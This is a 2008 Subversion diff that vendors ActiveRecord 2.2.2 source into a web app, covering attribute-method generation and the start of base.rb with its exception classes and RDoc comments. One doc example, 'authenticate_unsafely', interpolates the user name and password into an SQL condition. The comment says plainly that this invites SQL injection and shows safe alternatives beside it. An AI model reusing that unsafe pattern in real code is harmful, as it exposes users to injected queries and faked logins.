+          unless instance_method_already_implemented?("#{name}=")
+            if create_time_zone_conversion_attribute?(name, column)
+              define_write_method_for_time_zone_conversion(name)
+            else  
+              define_write_method(name.to_sym)
+            end
+          end
+
+          unless instance_method_already_implemented?("#{name}?")
+            define_question_method(name)
+          end
+        end
+      end
+
+      # Checks whether the method is defined in the model or any of its subclasses
+      # that also derive from Active Record. Raises DangerousAttributeError if the
+      # method is defined by Active Record though.
+      def instance_method_already_implemented?(method_name)
+        method_name = method_name.to_s
+        return true if method_name =~ /^id(=$|\?$|$)/
+        @_defined_class_methods         ||= ancestors.first(ancestors.index(ActiveRecord::Base)).sum([]) { |m| m.public_instance_methods(false) | m.private_instance_methods(false) | m.protected_instance_methods(false) }.map(&:to_s).to_set
+        @@_defined_activerecord_methods ||= (ActiveRecord::Base.public_instance_methods(false) | ActiveRecord::Base.private_instance_methods(false) | ActiveRecord::Base.protected_instance_methods(false)).map(&:to_s).to_set
+        raise DangerousAttributeError, "#{method_name} is defined by ActiveRecord" if @@_defined_activerecord_methods.include?(method_name)
+        @_defined_class_methods.include?(method_name)
+      end
+      
+      alias :define_read_methods :define_attribute_methods
+
+      # +cache_attributes+ allows you to declare which converted attribute values should
+      # be cached. Usually caching only pays off for attributes with expensive conversion
+      # methods, like time related columns (e.g. +created_at+, +updated_at+).
+      def cache_attributes(*attribute_names)
+        attribute_names.each {|attr| cached_attributes << attr.to_s}
+      end
+
+      # Returns the attributes which are cached. By default time related columns
+      # with datatype <tt>:datetime, :timestamp, :time, :date</tt> are cached.
+      def cached_attributes
+        @cached_attributes ||=
+          columns.select{|c| attribute_types_cached_by_default.include?(c.type)}.map(&:name).to_set
+      end
+
+      # Returns +true+ if the provided attribute is being cached.
+      def cache_attribute?(attr_name)
+        cached_attributes.include?(attr_name)
+      end
+
+      private
+        # Suffixes a, ?, c become regexp /(a|\?|c)$/
+        def rebuild_attribute_method_regexp
+          suffixes = attribute_method_suffixes.map { |s| Regexp.escape(s) }
+          @@attribute_method_regexp = /(#{suffixes.join('|')})$/.freeze
+        end
+
+        # Default to =, ?, _before_type_cast
+        def attribute_method_suffixes
+          @@attribute_method_suffixes ||= []
+        end
+        
+        def create_time_zone_conversion_attribute?(name, column)
+          time_zone_aware_attributes && !skip_time_zone_conversion_for_attributes.include?(name.to_sym) && [:datetime, :timestamp].include?(column.type)
+        end
+        
+        # Define an attribute reader method.  Cope with nil column.
+        def define_read_method(symbol, attr_name, column)
+          cast_code = column.type_cast_code('v') if column
+          access_code = cast_code ? "(v=@attributes['#{attr_name}']) && #{cast_code}" : "@attributes['#{attr_name}']"
+
+          unless attr_name.to_s == self.primary_key.to_s
+            access_code = access_code.insert(0, "missing_attribute('#{attr_name}', caller) unless @attributes.has_key?('#{attr_name}'); ")
+          end
+          
+          if cache_attribute?(attr_name)
+            access_code = "@attributes_cache['#{attr_name}'] ||= (#{access_code})"
+          end
+          evaluate_attribute_method attr_name, "def #{symbol}; #{access_code}; end"
+        end
+
+        # Define read method for serialized attribute.
+        def define_read_method_for_serialized_attribute(attr_name)
+          evaluate_attribute_method attr_name, "def #{attr_name}; unserialize_attribute('#{attr_name}'); end"
+        end
+        
+        # Defined for all +datetime+ and +timestamp+ attributes when +time_zone_aware_attributes+ are enabled.
+        # This enhanced read method automatically converts the UTC time stored in the database to the time zone stored in Time.zone.
+        def define_read_method_for_time_zone_conversion(attr_name)
+          method_body = <<-EOV
+            def #{attr_name}(reload = false)
+              cached = @attributes_cache['#{attr_name}']
+              return cached if cached && !reload
+              time = read_attribute('#{attr_name}')
+              @attributes_cache['#{attr_name}'] = time.acts_like?(:time) ? time.in_time_zone : time
+            end
+          EOV
+          evaluate_attribute_method attr_name, method_body
+        end
+
+        # Defines a predicate method <tt>attr_name?</tt>.
+        def define_question_method(attr_name)
+          evaluate_attribute_method attr_name, "def #{attr_name}?; query_attribute('#{attr_name}'); end", "#{attr_name}?"
+        end
+
+        def define_write_method(attr_name)
+          evaluate_attribute_method attr_name, "def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end", "#{attr_name}="
+        end
+        
+        # Defined for all +datetime+ and +timestamp+ attributes when +time_zone_aware_attributes+ are enabled.
+        # This enhanced write method will automatically convert the time passed to it to the zone stored in Time.zone.
+        def define_write_method_for_time_zone_conversion(attr_name)
+          method_body = <<-EOV
+            def #{attr_name}=(time)
+              unless time.acts_like?(:time)
+                time = time.is_a?(String) ? Time.zone.parse(time) : time.to_time rescue time
+              end
+              time = time.in_time_zone rescue nil if time
+              write_attribute(:#{attr_name}, time)
+            end
+          EOV
+          evaluate_attribute_method attr_name, method_body, "#{attr_name}="
+        end
+
+        # Evaluate the definition for an attribute related method
+        def evaluate_attribute_method(attr_name, method_definition, method_name=attr_name)
+
+          unless method_name.to_s == primary_key.to_s
+            generated_methods << method_name
+          end
+
+          begin
+            class_eval(method_definition, __FILE__, __LINE__)
+          rescue SyntaxError => err
+            generated_methods.delete(attr_name)
+            if logger
+              logger.warn "Exception occurred during reader method compilation."
+              logger.warn "Maybe #{attr_name} is not a valid Ruby identifier?"
+              logger.warn err.message
+            end
+          end
+        end
+    end #  ClassMethods
+
+
+    # Allows access to the object attributes, which are held in the <tt>@attributes</tt> hash, as though they
+    # were first-class methods. So a Person class with a name attribute can use Person#name and
+    # Person#name= and never directly use the attributes hash -- except for multiple assigns with
+    # ActiveRecord#attributes=. A Milestone class can also ask Milestone#completed? to test that
+    # the completed attribute is not +nil+ or 0.
+    #
+    # It's also possible to instantiate related objects, so a Client class belonging to the clients
+    # table with a +master_id+ foreign key can instantiate master through Client#master.
+    def method_missing(method_id, *args, &block)
+      method_name = method_id.to_s
+
+      if self.class.private_method_defined?(method_name)
+        raise NoMethodError.new("Attempt to call private method", method_name, args)
+      end
+
+      # If we haven't generated any methods yet, generate them, then
+      # see if we've created the method we're looking for.
+      if !self.class.generated_methods?
+        self.class.define_attribute_methods
+        if self.class.generated_methods.include?(method_name)
+          return self.send(method_id, *args, &block)
+        end
+      end
+      
+      if self.class.primary_key.to_s == method_name
+        id
+      elsif md = self.class.match_attribute_method?(method_name)
+        attribute_name, method_type = md.pre_match, md.to_s
+        if @attributes.include?(attribute_name)
+          __send__("attribute#{method_type}", attribute_name, *args, &block)
+        else
+          super
+        end
+      elsif @attributes.include?(method_name)
+        read_attribute(method_name)
+      else
+        super
+      end
+    end
+
+    # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
+    # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)).
+    def read_attribute(attr_name)
+      attr_name = attr_name.to_s
+      if !(value = @attributes[attr_name]).nil?
+        if column = column_for_attribute(attr_name)
+          if unserializable_attribute?(attr_name, column)
+            unserialize_attribute(attr_name)
+          else
+            column.type_cast(value)
+          end
+        else
+          value
+        end
+      else
+        nil
+      end
+    end
+
+    def read_attribute_before_type_cast(attr_name)
+      @attributes[attr_name]
+    end
+
+    # Returns true if the attribute is of a text column and marked for serialization.
+    def unserializable_attribute?(attr_name, column)
+      column.text? && self.class.serialized_attributes[attr_name]
+    end
+
+    # Returns the unserialized object of the attribute.
+    def unserialize_attribute(attr_name)
+      unserialized_object = object_from_yaml(@attributes[attr_name])
+
+      if unserialized_object.is_a?(self.class.serialized_attributes[attr_name]) || unserialized_object.nil?
+        @attributes.frozen? ? unserialized_object : @attributes[attr_name] = unserialized_object
+      else
+        raise SerializationTypeMismatch,
+          "#{attr_name} was supposed to be a #{self.class.serialized_attributes[attr_name]}, but was a #{unserialized_object.class.to_s}"
+      end
+    end
+  
+
+    # Updates the attribute identified by <tt>attr_name</tt> with the specified +value+. Empty strings for fixnum and float
+    # columns are turned into +nil+.
+    def write_attribute(attr_name, value)
+      attr_name = attr_name.to_s
+      @attributes_cache.delete(attr_name)
+      if (column = column_for_attribute(attr_name)) && column.number?
+        @attributes[attr_name] = convert_number_column_value(value)
+      else
+        @attributes[attr_name] = value
+      end
+    end
+
+
+    def query_attribute(attr_name)
+      unless value = read_attribute(attr_name)
+        false
+      else
+        column = self.class.columns_hash[attr_name]
+        if column.nil?
+          if Numeric === value || value !~ /[^0-9]/
+            !value.to_i.zero?
+          else
+            !value.blank?
+          end
+        elsif column.number?
+          !value.zero?
+        else
+          !value.blank?
+        end
+      end
+    end
+    
+    # A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>,
+    # <tt>person.respond_to?(:name=)</tt>, and <tt>person.respond_to?(:name?)</tt>
+    # which will all return +true+.
+    alias :respond_to_without_attributes? :respond_to?
+    def respond_to?(method, include_private_methods = false)
+      method_name = method.to_s
+      if super
+        return true
+      elsif !include_private_methods && super(method, true)
+        # If we're here than we haven't found among non-private methods
+        # but found among all methods. Which means that given method is private.
+        return false
+      elsif !self.class.generated_methods?
+        self.class.define_attribute_methods
+        if self.class.generated_methods.include?(method_name)
+          return true
+        end
+      end
+        
+      if @attributes.nil?
+        return super
+      elsif @attributes.include?(method_name)
+        return true
+      elsif md = self.class.match_attribute_method?(method_name)
+        return true if @attributes.include?(md.pre_match)
+      end
+      super
+    end
+
+    private
+    
+      def missing_attribute(attr_name, stack)
+        raise ActiveRecord::MissingAttributeError, "missing attribute: #{attr_name}", stack
+      end
+      
+      # Handle *? for method_missing.
+      def attribute?(attribute_name)
+        query_attribute(attribute_name)
+      end
+
+      # Handle *= for method_missing.
+      def attribute=(attribute_name, value)
+        write_attribute(attribute_name, value)
+      end
+
+      # Handle *_before_type_cast for method_missing.
+      def attribute_before_type_cast(attribute_name)
+        read_attribute_before_type_cast(attribute_name)
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/base.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/base.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/base.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2967 @@
+require 'yaml'
+require 'set'
+
+module ActiveRecord #:nodoc:
+  # Generic Active Record exception class.
+  class ActiveRecordError < StandardError
+  end
+
+  # Raised when the single-table inheritance mechanism fails to locate the subclass
+  # (for example due to improper usage of column that +inheritance_column+ points to).
+  class SubclassNotFound < ActiveRecordError #:nodoc:
+  end
+
+  # Raised when an object assigned to an association has an incorrect type.
+  #
+  #   class Ticket < ActiveRecord::Base
+  #     has_many :patches
+  #   end
+  #
+  #   class Patch < ActiveRecord::Base
+  #     belongs_to :ticket
+  #   end
+  #
+  #   # Comments are not patches, this assignment raises AssociationTypeMismatch.
+  #   @ticket.patches << Comment.new(:content => "Please attach tests to your patch.")
+  class AssociationTypeMismatch < ActiveRecordError
+  end
+
+  # Raised when unserialized object's type mismatches one specified for serializable field.
+  class SerializationTypeMismatch < ActiveRecordError
+  end
+
+  # Raised when adapter not specified on connection (or configuration file <tt>config/database.yml</tt> misses adapter field).
+  class AdapterNotSpecified < ActiveRecordError
+  end
+
+  # Raised when Active Record cannot find database adapter specified in <tt>config/database.yml</tt> or programmatically.
+  class AdapterNotFound < ActiveRecordError
+  end
+
+  # Raised when connection to the database could not been established (for example when <tt>connection=</tt> is given a nil object).
+  class ConnectionNotEstablished < ActiveRecordError
+  end
+
+  # Raised when Active Record cannot find record by given id or set of ids.
+  class RecordNotFound < ActiveRecordError
+  end
+
+  # Raised by ActiveRecord::Base.save! and ActiveRecord::Base.create! methods when record cannot be
+  # saved because record is invalid.
+  class RecordNotSaved < ActiveRecordError
+  end
+
+  # Raised when SQL statement cannot be executed by the database (for example, it's often the case for MySQL when Ruby driver used is too old).
+  class StatementInvalid < ActiveRecordError
+  end
+
+  # Raised when number of bind variables in statement given to <tt>:condition</tt> key (for example, when using +find+ method)
+  # does not match number of expected variables.
+  #
+  # For example, in
+  #
+  #   Location.find :all, :conditions => ["lat = ? AND lng = ?", 53.7362]
+  #
+  # two placeholders are given but only one variable to fill them.
+  class PreparedStatementInvalid < ActiveRecordError
+  end
+
+  # Raised on attempt to save stale record. Record is stale when it's being saved in another query after
+  # instantiation, for example, when two users edit the same wiki page and one starts editing and saves
+  # the page before the other.
+  #
+  # Read more about optimistic locking in ActiveRecord::Locking module RDoc.
+  class StaleObjectError < ActiveRecordError
+  end
+
+  # Raised when association is being configured improperly or
+  # user tries to use offset and limit together with has_many or has_and_belongs_to_many associations.
+  class ConfigurationError < ActiveRecordError
+  end
+
+  # Raised on attempt to update record that is instantiated as read only.
+  class ReadOnlyRecord < ActiveRecordError
+  end
+
+  # ActiveRecord::Transactions::ClassMethods.transaction uses this exception
+  # to distinguish a deliberate rollback from other exceptional situations.
+  # Normally, raising an exception will cause the +transaction+ method to rollback
+  # the database transaction *and* pass on the exception. But if you raise an
+  # ActiveRecord::Rollback exception, then the database transaction will be rolled back,
+  # without passing on the exception.
+  #
+  # For example, you could do this in your controller to rollback a transaction:
+  #
+  #   class BooksController < ActionController::Base
+  #     def create
+  #       Book.transaction do
+  #         book = Book.new(params[:book])
+  #         book.save!
+  #         if today_is_friday?
+  #           # The system must fail on Friday so that our support department
+  #           # won't be out of job. We silently rollback this transaction
+  #           # without telling the user.
+  #           raise ActiveRecord::Rollback, "Call tech support!"
+  #         end
+  #       end
+  #       # ActiveRecord::Rollback is the only exception that won't be passed on
+  #       # by ActiveRecord::Base.transaction, so this line will still be reached
+  #       # even on Friday.
+  #       redirect_to root_url
+  #     end
+  #   end
+  class Rollback < ActiveRecordError
+  end
+
+  # Raised when attribute has a name reserved by Active Record (when attribute has name of one of Active Record instance methods).
+  class DangerousAttributeError < ActiveRecordError
+  end
+
+  # Raised when you've tried to access a column which wasn't loaded by your finder.
+  # Typically this is because <tt>:select</tt> has been specified.
+  class MissingAttributeError < NoMethodError
+  end
+
+  # Raised when unknown attributes are supplied via mass assignment.
+  class UnknownAttributeError < NoMethodError
+  end
+
+  # Raised when an error occurred while doing a mass assignment to an attribute through the
+  # <tt>attributes=</tt> method. The exception has an +attribute+ property that is the name of the
+  # offending attribute.
+  class AttributeAssignmentError < ActiveRecordError
+    attr_reader :exception, :attribute
+    def initialize(message, exception, attribute)
+      @exception = exception
+      @attribute = attribute
+      @message = message
+    end
+  end
+
+  # Raised when there are multiple errors while doing a mass assignment through the +attributes+
+  # method. The exception has an +errors+ property that contains an array of AttributeAssignmentError
+  # objects, each corresponding to the error while assigning to an attribute.
+  class MultiparameterAssignmentErrors < ActiveRecordError
+    attr_reader :errors
+    def initialize(errors)
+      @errors = errors
+    end
+  end
+
+  # Active Record objects don't specify their attributes directly, but rather infer them from the table definition with
+  # which they're linked. Adding, removing, and changing attributes and their type is done directly in the database. Any change
+  # is instantly reflected in the Active Record objects. The mapping that binds a given Active Record class to a certain
+  # database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.
+  #
+  # See the mapping rules in table_name and the full example in link:files/README.html for more insight.
+  #
+  # == Creation
+  #
+  # Active Records accept constructor parameters either in a hash or as a block. The hash method is especially useful when
+  # you're receiving the data from somewhere else, like an HTTP request. It works like this:
+  #
+  #   user = User.new(:name => "David", :occupation => "Code Artist")
+  #   user.name # => "David"
+  #
+  # You can also use block initialization:
+  #
+  #   user = User.new do |u|
+  #     u.name = "David"
+  #     u.occupation = "Code Artist"
+  #   end
+  #
+  # And of course you can just create a bare object and specify the attributes after the fact:
+  #
+  #   user = User.new
+  #   user.name = "David"
+  #   user.occupation = "Code Artist"
+  #
+  # == Conditions
+  #
+  # Conditions can either be specified as a string, array, or hash representing the WHERE-part of an SQL statement.
+  # The array form is to be used when the condition input is tainted and requires sanitization. The string form can
+  # be used for statements that don't involve tainted data. The hash form works much like the array form, except
+  # only equality and range is possible. Examples:
+  #
+  #   class User < ActiveRecord::Base
+  #     def self.authenticate_unsafely(user_name, password)
+  #       find(:first, :conditions => "user_name = '#{user_name}' AND password = '#{password}'")
+  #     end
+  #
+  #     def self.authenticate_safely(user_name, password)
+  #       find(:first, :conditions => [ "user_name = ? AND password = ?", user_name, password ])
+  #     end
+  #
+  #     def self.authenticate_safely_simply(user_name, password)
+  #       find(:first, :conditions => { :user_name => user_name, :password => password })
+  #     end
+  #   end
+  #
+  # The <tt>authenticate_unsafely</tt> method inserts the parameters directly into the query and is thus susceptible to SQL-injection
+  # attacks if the <tt>user_name</tt> and +password+ parameters come directly from an HTTP request. The <tt>authenticate_safely</tt>  and
+  # <tt>authenticate_safely_simply</tt> both will sanitize the <tt>user_name</tt> and +password+ before inserting them in the query,
+  # which will ensure that an attacker can't escape the query and fake the login (or worse).
+  #
+  # When using multiple parameters in the conditions, it can easily become hard to read exactly what the fourth or fifth
+  # question mark is supposed to represent. In those cases, you can resort to named bind variables instead. That's done by replacing
+  # the question marks with symbols and supplying a hash with values for the matching symbol keys:
+  #
+  #   Company.find(:first, :conditions => [
+  #     "id = :id AND name = :name AND division = :division AND created_at > :accounting_date",
+  #     { :id => 3, :name => "37signals", :division => "First", :accounting_date => '2005-01-01' }
+  #   ])
+  #
+  # Similarly, a simple hash without a statement will generate conditions based on equality with the SQL AND
+  # operator. For instance:
+  #
+  #   Student.find(:all, :conditions => { :first_name => "Harvey", :status => 1 })
+  #   Student.find(:all, :conditions => params[:student])
+  #
+  # A range may be used in the hash to use the SQL BETWEEN operator:
+  #
+  #   Student.find(:all, :conditions => { :grade => 9..12 })
+  #
+  # An array may be used in the hash to use the SQL IN operator:
+  #
+  #   Student.find(:all, :conditions => { :grade => [9,11,12] })
+  #
+  # == Overwriting default accessors
+  #
+  # All column values are automatically available through basic accessors on the Active Record object, but sometimes you
+  # want to specialize this behavior. This can be done by overwriting the default accessors (using the same
+  # name as the attribute) and calling <tt>read_attribute(attr_name)</tt> and <tt>write_attribute(attr_name, value)</tt> to actually change things.
+  # Example:
+  #
+  #   class Song < ActiveRecord::Base
+  #     # Uses an integer of seconds to hold the length of the song
+  #
+  #     def length=(minutes)
+  #       write_attribute(:length, minutes.to_i * 60)
+  #     end
+  #
+  #     def length
+  #       read_attribute(:length) / 60
+  #     end
+  #   end
+  #
+  # You can alternatively use <tt>self[:attribute]=(value)</tt> and <tt>self[:attribute]</tt> instead of <tt>write_attribute(:attribute, value)</tt> and
+  # <tt>read_attribute(:attribute)</tt> as a shorter form.
+  #
+  # == Attribute query methods
+  #
+  # In addition to the basic accessors, query methods are also automatically available on the Active Record object.
+  # Query methods allow you to test whether an attribute value is present.
+  #
+  # For example, an Active Record User with the <tt>name</tt> attribute has a <tt>name?</tt> method that you can call
+  # to determine whether the user has a name:
+  #
+  #   user = User.new(:name => "David")
+  #   user.name? # => true
+  #
+  #   anonymous = User.new(:name => "")
+  #   anonymous.name? # => false
+  #
+  # == Accessing attributes before they have been typecasted
+  #
+  # Sometimes you want to be able to read the raw attribute data without having the column-determined typecast run its course first.
+  # That can be done by using the <tt><attribute>_before_type_cast</tt> accessors that all attributes have. For example, if your Account model
+  # has a <tt>balance</tt> attribute, you can call <tt>account.balance_before_type_cast</tt> or <tt>account.id_before_type_cast</tt>.
+  #
+  # This is especially useful in validation situations where the user might supply a string for an integer field and you want to display
+  # the original string back in an error message. Accessing the attribute normally would typecast the string to 0, which isn't what you
+  # want.
+  #
+  # == Dynamic attribute-based finders
+  #
+  # Dynamic attribute-based finders are a cleaner way of getting (and/or creating) objects by simple queries without turning to SQL. They work by
+  # appending the name of an attribute to <tt>find_by_</tt>, <tt>find_last_by_</tt>, or <tt>find_all_by_</tt>, so you get finders like <tt>Person.find_by_user_name</tt>,
+  # <tt>Person.find_all_by_last_name</tt>, and <tt>Payment.find_by_transaction_id</tt>. So instead of writing
+  # <tt>Person.find(:first, :conditions => ["user_name = ?", user_name])</tt>, you just do <tt>Person.find_by_user_name(user_name)</tt>.
+  # And instead of writing <tt>Person.find(:all, :conditions => ["last_name = ?", last_name])</tt>, you just do <tt>Person.find_all_by_last_name(last_name)</tt>.
+  #
+  # It's also possible to use multiple attributes in the same find by separating them with "_and_", so you get finders like
+  # <tt>Person.find_by_user_name_and_password</tt> or even <tt>Payment.find_by_purchaser_and_state_and_country</tt>. So instead of writing
+  # <tt>Person.find(:first, :conditions => ["user_name = ? AND password = ?", user_name, password])</tt>, you just do
+  # <tt>Person.find_by_user_name_and_password(user_name, password)</tt>.
+  #
+  # It's even possible to use all the additional parameters to find. For example, the full interface for <tt>Payment.find_all_by_amount</tt>
+  # is actually <tt>Payment.find_all_by_amount(amount, options)</tt>. And the full interface to <tt>Person.find_by_user_name</tt> is
+  # actually <tt>Person.find_by_user_name(user_name, options)</tt>. So you could call <tt>Payment.find_all_by_amount(50, :order => "created_on")</tt>.
+  # Also you may call <tt>Payment.find_last_by_amount(amount, options)</tt> returning the last record matching that amount and options.
+  #
+  # The same dynamic finder style can be used to create the object if it doesn't already exist. This dynamic finder is called with
+  # <tt>find_or_create_by_</tt> and will return the object if it already exists and otherwise creates it, then returns it. Protected attributes won't be set unless they are given in a block. For example:
+  #
+  #   # No 'Summer' tag exists
+  #   Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
+  #
+  #   # Now the 'Summer' tag does exist
+  #   Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
+  #
+  #   # Now 'Bob' exist and is an 'admin'
+  #   User.find_or_create_by_name('Bob', :age => 40) { |u| u.admin = true }
+  #
+  # Use the <tt>find_or_initialize_by_</tt> finder if you want to return a new record without saving it first. Protected attributes won't be set unless they are given in a block. For example:
+  #
+  #   # No 'Winter' tag exists
+  #   winter = Tag.find_or_initialize_by_name("Winter")
+  #   winter.new_record? # true
+  #
+  # To find by a subset of the attributes to be used for instantiating a new object, pass a hash instead of
+  # a list of parameters. For example:
+  #
+  #   Tag.find_or_create_by_name(:name => "rails", :creator => current_user)
+  #
+  # That will either find an existing tag named "rails", or create a new one while setting the user that created it.
+  #
+  # == Saving arrays, hashes, and other non-mappable objects in text columns
+  #
+  # Active Record can serialize any object in text columns using YAML. To do so, you must specify this with a call to the class method +serialize+.
+  # This makes it possible to store arrays, hashes, and other non-mappable objects without doing any additional work. Example:
+  #
+  #   class User < ActiveRecord::Base
+  #     serialize :preferences
+  #   end
+  #
+  #   user = User.create(:preferences => { "background" => "black", "display" => large })
+  #   User.find(user.id).preferences # => { "background" => "black", "display" => large }
+  #
+  # You can also specify a class option as the second parameter that'll raise an exception if a serialized object is retrieved as a
+  # descendent of a class not in the hierarchy. Example:
+  #
+  #   class User < ActiveRecord::Base
+  #     serialize :preferences, Hash
+  #   end
+  #
+  #   user = User.create(:preferences => %w( one two three ))
+  #   User.find(user.id).preferences    # raises SerializationTypeMismatch
+  #
+  # == Single table inheritance
+  #
+  # Active Record allows inheritance by storing the name of the class in a column that by default is named "type" (can be changed
+  # by overwriting <tt>Base.inheritance_column</tt>). This means that an inheritance looking like this:
+  #
+  #   class Company < ActiveRecord::Base; end
+  #   class Firm < Company; end
+  #   class Client < Company; end
+  #   class PriorityClient < Client; end
+  #
+  # When you do <tt>Firm.create(:name => "37signals")</tt>, this record will be saved in the companies table with type = "Firm". You can then
+  # fetch this row again using <tt>Company.find(:first, "name = '37signals'")</tt> and it will return a Firm object.
+  #
+  # If you don't have a type column defined in your table, single-table inheritance won't be triggered. In that case, it'll work just
+  # like normal subclasses with no special magic for differentiating between them or reloading the right type with find.
+  #
+  # Note, all the attributes for all the cases are kept in the same table. Read more:
+  # http://www.martinfowler.com/eaaCatalog/singleTableInheritance.html
+  #
+  # == Connection to multiple databases in different models
+  #
+  # Connections are usually created through ActiveRecord::Base.establish_connection and retrieved by ActiveRecord::Base.connection.
+  # All classes inheriting from ActiveRecord::Base will use this connection. But you can also set a class-specific connection.
+  # For example, if Course is an ActiveRecord::Base, but resides in a different database, you can just say <tt>Course.establish_connection</tt>
+  # and Course and all of its subclasses will use this connection instead.
+  #
+  # This feature is implemented by keeping a connection pool in ActiveRecord::Base that is a Hash indexed by the class. If a connection is
+  # requested, the retrieve_connection method will go up the class-hierarchy until a connection is found in the connection pool.
+  #
+  # == Exceptions
+  #
+  # * ActiveRecordError - Generic error class and superclass of all other errors raised by Active Record.
+  # * AdapterNotSpecified - The configuration hash used in <tt>establish_connection</tt> didn't include an
+  #   <tt>:adapter</tt> key.
+  # * AdapterNotFound - The <tt>:adapter</tt> key used in <tt>establish_connection</tt> specified a non-existent adapter
+  #   (or a bad spelling of an existing one).
+  # * AssociationTypeMismatch - The object assigned to the association wasn't of the type specified in the association definition.
+  # * SerializationTypeMismatch - The serialized object wasn't of the class specified as the second parameter.
+  # * ConnectionNotEstablished+ - No connection has been established. Use <tt>establish_connection</tt> before querying.
+  # * RecordNotFound - No record responded to the +find+ method. Either the row with the given ID doesn't exist
+  #   or the row didn't meet the additional restrictions. Some +find+ calls do not raise this exception to signal
+  #   nothing was found, please check its documentation for further details.
+  # * StatementInvalid - The database server rejected the SQL statement. The precise error is added in the message.
+  # * MultiparameterAssignmentErrors - Collection of errors that occurred during a mass assignment using the
+  #   <tt>attributes=</tt> method. The +errors+ property of this exception contains an array of AttributeAssignmentError
+  #   objects that should be inspected to determine which attributes triggered the errors.
+  # * AttributeAssignmentError - An error occurred while doing a mass assignment through the <tt>attributes=</tt> method.
+  #   You can inspect the +attribute+ property of the exception object to determine which attribute triggered the error.
+  #
+  # *Note*: The attributes listed are class-level attributes (accessible from both the class and instance level).
+  # So it's possible to assign a logger to the class through <tt>Base.logger=</tt> which will then be used by all
+  # instances in the current object space.
+  class Base
+    # Accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then passed
+    # on to any new database connections made and which can be retrieved on both a class and instance level by calling +logger+.
+    cattr_accessor :logger, :instance_writer => false
+
+    def self.inherited(child) #:nodoc:
+      @@subclasses[self] ||= []
+      @@subclasses[self] << child
+      super
+    end
+
+    def self.reset_subclasses #:nodoc:
+      nonreloadables = []
+      subclasses.each do |klass|
+        unless ActiveSupport::Dependencies.autoloaded? klass
+          nonreloadables << klass
+          next
+        end
+        klass.instance_variables.each { |var| klass.send(:remove_instance_variable, var) }
+        klass.instance_methods(false).each { |m| klass.send :undef_method, m }
+      end
+      @@subclasses = {}
+      nonreloadables.each { |klass| (@@subclasses[klass.superclass] ||= []) << klass }
+    end
+
+    @@subclasses = {}
+
+    # Contains the database configuration - as is typically stored in config/database.yml -
+    # as a Hash.
+    #
+    # For example, the following database.yml...
+    # 
+    #   development:
+    #     adapter: sqlite3
+    #     database: db/development.sqlite3
+    #   
+    #   production:
+    #     adapter: sqlite3
+    #     database: db/production.sqlite3
+    #
+    # ...would result in ActiveRecord::Base.configurations to look like this:
+    #
+    #   {
+    #      'development' => {
+    #         'adapter'  => 'sqlite3',
+    #         'database' => 'db/development.sqlite3'
+    #      },
+    #      'production' => {
+    #         'adapter'  => 'sqlite3',
+    #         'database' => 'db/production.sqlite3'
+    #      }
+    #   }
+    cattr_accessor :configurations, :instance_writer => false
+    @@configurations = {}
+
+    # Accessor for the prefix type that will be prepended to every primary key column name. The options are :table_name and
+    # :table_name_with_underscore. If the first is specified, the Product class will look for "productid" instead of "id" as
+    # the primary column. If the latter is specified, the Product class will look for "product_id" instead of "id". Remember
+    # that this is a global setting for all Active Records.
+    cattr_accessor :primary_key_prefix_type, :instance_writer => false
+    @@primary_key_prefix_type = nil
+
+    # Accessor for the name of the prefix string to prepend to every table name. So if set to "basecamp_", all
+    # table names will be named like "basecamp_projects", "basecamp_people", etc. This is a convenient way of creating a namespace
+    # for tables in a shared database. By default, the prefix is the empty string.
+    cattr_accessor :table_name_prefix, :instance_writer => false
+    @@table_name_prefix = ""
+
+    # Works like +table_name_prefix+, but appends instead of prepends (set to "_basecamp" gives "projects_basecamp",
+    # "people_basecamp"). By default, the suffix is the empty string.
+    cattr_accessor :table_name_suffix, :instance_writer => false
+    @@table_name_suffix = ""
+
+    # Indicates whether table names should be the pluralized versions of the corresponding class names.
+    # If true, the default table name for a Product class will be +products+. If false, it would just be +product+.
+    # See table_name for the full rules on table/class naming. This is true, by default.
+    cattr_accessor :pluralize_table_names, :instance_writer => false
+    @@pluralize_table_names = true
+
+    # Determines whether to use ANSI codes to colorize the logging statements committed by the connection adapter. These colors
+    # make it much easier to overview things during debugging (when used through a reader like +tail+ and on a black background), but
+    # may complicate matters if you use software like syslog. This is true, by default.
+    cattr_accessor :colorize_logging, :instance_writer => false
+    @@colorize_logging = true
+
+    # Determines whether to use Time.local (using :local) or Time.utc (using :utc) when pulling dates and times from the database.
+    # This is set to :local by default.
+    cattr_accessor :default_timezone, :instance_writer => false
+    @@default_timezone = :local
+
+    # Specifies the format to use when dumping the database schema with Rails'
+    # Rakefile.  If :sql, the schema is dumped as (potentially database-
+    # specific) SQL statements.  If :ruby, the schema is dumped as an
+    # ActiveRecord::Schema file which can be loaded into any database that
+    # supports migrations.  Use :ruby if you want to have different database
+    # adapters for, e.g., your development and test environments.
+    cattr_accessor :schema_format , :instance_writer => false
+    @@schema_format = :ruby
+
+    # Specify whether or not to use timestamps for migration numbers
+    cattr_accessor :timestamped_migrations , :instance_writer => false
+    @@timestamped_migrations = true
+
+    # Determine whether to store the full constant name including namespace when using STI
+    superclass_delegating_accessor :store_full_sti_class
+    self.store_full_sti_class = false
+
+    class << self # Class methods
+      # Find operates with four different retrieval approaches:
+      #
+      # * Find by id - This can either be a specific id (1), a list of ids (1, 5, 6), or an array of ids ([5, 6, 10]).
+      #   If no record can be found for all of the listed ids, then RecordNotFound will be raised.
+      # * Find first - This will return the first record matched by the options used. These options can either be specific
+      #   conditions or merely an order. If no record can be matched, +nil+ is returned. Use
+      #   <tt>Model.find(:first, *args)</tt> or its shortcut <tt>Model.first(*args)</tt>.
+      # * Find last - This will return the last record matched by the options used. These options can either be specific
